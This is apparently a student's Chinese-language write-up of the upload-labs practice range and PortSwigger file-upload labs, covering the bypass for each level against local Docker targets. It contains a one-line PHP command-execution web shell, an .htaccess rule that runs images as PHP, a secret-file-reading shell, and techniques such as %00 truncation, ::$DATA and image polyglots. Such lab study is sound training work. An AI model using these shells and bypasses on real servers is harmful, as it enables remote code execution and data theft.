0%

upload-labs Note

我深知,世间有些路非要自己去面对,自己去跋涉的。只要有目标,即使路再长再远,山再艰再险,也得咬紧牙关走下去。

《温家宝地质笔记》

2024年3月5日,这篇文章去年丢过一次后就只在本地写了,也没有更新上来。趁此次准备复试的机会,逐步将这篇文章整理,更新。原残篇放在文章结尾的代码块中。

在此处放上Github链接,以此表示对该开源项目作者的感谢。

初次运行需要创建upload文件夹,我使用docker attach xxxx没有什么反应,可能是我在创建容器时加了-d参数,或是什么别的原因。而且attach使用Ctrl+C退出会结束容器,因此我使用的是:
docker exec -i xxxx bash
创建完文件夹后还需要更改权限,我直接777了。说实话有点dirty了,无所谓,反正docker里靶场。终归还是变成了自己讨厌的样子

Pass-01

提示:本pass在客户端使用js对不合法图片进行检查!

1
<?php system($_GET['cmd']);?>

审计网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p></form>
//这里我们可以看到有个checkFile(),其源码如下:
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

由于是在前端校验,所以我们可以临时的修改文件后缀,随后在Burp Suite中截获http包,然后改过来。

Pass-02

提示:本pass在服务端对数据包的MIME进行检查!

修改HTTP报文中Content-Type头,改为允许的图片类型即可。

Pass-03

提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

[[File upload vulnerabilities]]网站上也提到,也有一些文件扩展名,比方说.php5shtml等等。

修改文件后缀为.php5即可上传。但是发现并没有被执行。这里看了题解,发现做法普遍是修改配置文件去解析.php5文件。

这里看国光的题解,看到Apache是可以解析的。
这里本身打包的docker image里没有vim vi啥的,同时httpd.conf也不在官方doc中的路径下,我用find也没找到,遗憾跳过。

看到了另一个题解,他的做法是上传.htaccess文件,实现解析。我在作者打包的docker中就不大行。

最终还是使用了作者打包的版本,感觉我不干净了,并修改了httpd.conf

Pass-04

提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

黑名单比较全吼,猜测使用文件后缀截断来bypass。将Web Shell命名为exploit.php%00.png,发现是不行的。看了题解发现说是,上传一个.htaccess文件,来解析可以上传的文件。

1
AddType application/x-httpd-php .php5 .png

Pass-05

与Pass-04的不同在于:.htaccess也不能上传了。

这里看源码是,不再有大小写的转换,所以可以传.PHP。但是也请注意相应的解析问题。有点怪,这哥们也没个官方题解吗?

Pass-06

这里没有首尾去空这个操作,所以可以添加空格。这里我使用docker并没有办法成果。我记得当时我是换了国光的lab。现在看这个质量跟Portswigger上的lab没法比。

更换成作者打包的环境后可以上传成功。

Pass-07

这里审计源码可以发现,与之前的lab相比,没有去掉末尾的点。因此,可以在burp suite中截获包,尝试添加点。即可成功上传。

Pass-08

审计源码发现,没有去除字符串::$DATA,因此尝试添加字符串。即可成功上传。

这里,::$DATA是NTFS文件系统,所提供的对alternate data streams的支持。最初是为了,和Macintosh文件系统上文件的兼容。

‘Alternate data streams allow files to contain more than one stream of data.’

在Windows中,默认的数据流就被叫做:$DATA。由于Windows的文件管理器不提供查看和移除(不删除文件的情况下)文件中alternate data streams的方法,并且alternate data streams很容易创建和使用,所以很多hackers就用来隐藏文件。

1
C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe

1
C:\> start c:\windows\system32\calc.exe:notepad.exe

OWASP的网站上还提到一个旧版本IIS的漏洞:使用filename.asp::$DATA就会匹配不上相应的扩展,从而获得asp文件的源码。

Pass-09

提示:本pass只允许上传.jpg|.png|.gif后缀的文件!

尝试使用%00截断,结果发现并不能成功。查阅题解后发现,这里是使用.php. .来绕过。

这里是由于Windows环境下,末尾为空格或是点的文件名不合法,而可以传输,没有限制。因此在上传到Windows环境后,原不合法文件名会被Windows修改,恢复成相应文件名。

Pass-10

提示:会从文件名中去除一些恶意文件的后缀名,像.php等。因此可以构造文件后缀名,使去除后的文件名符合预期。.pphphp在上传后文件名则变成正常的文件名.php

Pass-11

提示:上传路径可控。

这里随便上传一张正常图片后,可以在Burp suite中看到存在save_path=参数。

1
2
3
4
5
POST /Pass-11/index.php?save_path=../upload/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 185587
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"

这里题解提到:

“一般来说,在GET传参时,由于url中的内容会进行url编码,而%00在经过解码之后便是空字符导致截断。而在在POST传参时, POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 进行截断,这种情况会在接下来的Pass12进行举例。”

没注意过这一点。它这个区分是依靠请求图片参数的传递方式来区分(?

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

所以使用%00截断。上传exploit.php%00.png后发现会把相应文件重命名,所以要控制上传路径。将POST包中相应参数改变save_path=../upload/09.php%00,上传后访问/upload/09.php即可。

另:这里使用0x00就是不行。

Pass-12

这里与上一个的不同就是使用POST传递参数,相应参数在body中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /Pass-12/index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 185693
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhqQT0ifPEaE7lyoU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/Pass-12/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close

------WebKitFormBoundaryhqQT0ifPEaE7lyoU
Content-Disposition: form-data; name="save_path"

../upload/ //!!
------WebKitFormBoundaryhqQT0ifPEaE7lyoU
Content-Disposition: form-data; name="upload_file"; filename="d0f8f22agy1hng5sxr971j20u01do7db.jpg"
Content-Type: image/jpeg

ÿØÿà

因此要在body中修改参数,注意需要**将相应空字符URL解码(URLdecode)**。这里还是添加的%00然后对其URLdecode成空字符。这种方法与修改16进制值同等效果。

Pass-13

这里使用图片马,并提供了一个文件包含漏洞来测试。

这里简单地改变文件后缀是行不通的,我想可能是检验了文件头。根据我做国光lab的经验,如果检验文件头的话,可以在文件开头添加GIF89a来构造.gif文件,如果要构建.png或是.jpg的话,需要把木马附在图片后,或是修改文件开头16进制值(因为不是可打印字符)。或者是将两个文件拼接即可。

这里添加字符串后成功上传。但是我这里文件包含漏洞报错。似乎是作者打包的php版本过低。当我没说,自己整错目录了。

1
include.php?file=upload/7020240319220221.gif

Pass-14

提示:本pass使用getimagesize()检查是否为图片文件!

所以要是需要图片马有相应的属性。
这里使用一张图片与exploit.php拼接。这里作者打包的php版本较低,文件包含漏洞利用报错。

Pass-15

这一关与14大致相同,使用exif_imagetype()来判断是否是真实图像。注意需要开启php_exif模块。

Pass-16

这里使用二次渲染,上述题解中介绍的比较清晰:

“二次渲染,就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。在二次渲染的过程中,我们图片中所写的木马也可能会被渲染掉。”
“绕过二次渲染的核心思想便是先上传一张图片,再将上传完成后的图片下载下来,对比渲染前后图片的编码变化,将我们的代码写在未被渲染的区域便可绕过二次渲染。由于不同格式文件的特性,在进行绕过二次渲染时,选用gif的图像最容易成功,对于jpg和png这两种图片需要用脚本进行改写,也不在进行尝试。”

这里的做法是通过比对渲染前后的二进制数据,将木马写入没有渲染后没有改变的区域中,实现。

Pass-17

使用条件竞争,由于在Portswigger上的lab中写过[[借助race condition的Web shell上传]],因此跳过。

Pass-18

仍然是条件竞争(突然意识到race condition 他们译成“条件竞争”了?这是比较共识的译法吗?)

Pass-19

看了题解,是考察CVE-2015-2348 move_uploaded_file() 00截断,可以在save_name参数中使用%00截断绕过。

Pass-20

不想做了,身心俱疲。吃点东西,以后再来。

至此,整理结束。

1
2
3
4
5
6

## [Portswigger File upload vulnerabilities](https://portswigger.net/web-security/file-upload)
### Lab: Remote code execution via web shell upload
目标是”upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret`“。因为没有做任何安全措施,所以使用教程中列举的函数,依葫芦画瓢即可。
```php
<?php echo file_get_contents('/home/carlos/secret'); ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

[burpsuite 无法抓127.0.0.1的包](https://syunaht.com/p/1006188223.html)![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071041057.png)
### pass01
第一关就G,修改js元素后页面并没有改变。搜索后发现:
* [知乎](https://www.zhihu.com/question/30701118)
* [stackoverflow](https://stackoverflow.com/questions/6657229/how-can-i-edit-javascript-in-my-browser-like-i-can-use-firebug-to-edit-css-html)
![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307070936579.png)
> 在这个回答中提到了Fiddler,这也是个抓包软件。好像不如Burpsuite功能多,但是它free。
>
![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071046589.png)
很激动!
### pass02
#### MIME
* https://zh.wikipedia.org/wiki/%E5%A4%9A%E7%94%A8%E9%80%94%E4%BA%92%E8%81%AF%E7%B6%B2%E9%83%B5%E4%BB%B6%E6%93%B4%E5%B1%95
* https://www.runoob.com/http/mime-types.html
> "*MIME是通过标准化电子邮件报文的头部的附加域(fields)而实现的;这些头部的附加域,描述新的报文类型的内容和组织形式。*"
>
emmmm,看到这个我想是不是可以通过burp修改报头?
没错,正是这样。![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071114863.png)
![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071117043.png)
图中荧光笔覆盖标头即为server用于检查的标头。修改为
```html
Content-Type: image/gif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

即可。注意![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071119732.png)
emmmm,[似乎没什么影响](https://stackoverflow.com/questions/5147049/image-pjpeg-and-image-jpeg)。我用"image/jpeg"传了一遍,没啥障碍。
### pass03
#### 黑名单过滤
![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071448212.png)
限制了文件名,类似pass1,不过pass1是白名单,而且是在前端使用js做检查。
[文件上传漏洞限制绕过总结](https://isbase.cc/tip/web/fileupload/part1.html)
![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071450228.png)
这个题改大小写是不行的。后缀改成.pht即可。我在这一题上传后文件名会改变,蚁剑连不上。![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071514215.png)
额,讲课的这哥们的文档里甚至有![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071519752.png)
[在这里](https://www.cnblogs.com/confidant/p/15313397.html)讲得很详细。![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071529649.png)![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071530415.png)![](https://raw.githubusercontent.com/91Quin/-for-hexo/main/img/202307071530642.png)但法二只有Windows能用
> "*这个绕过方法只适用于windows系统,在window的时候如果文件名+"::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名*"
>
所以说还是得改apache。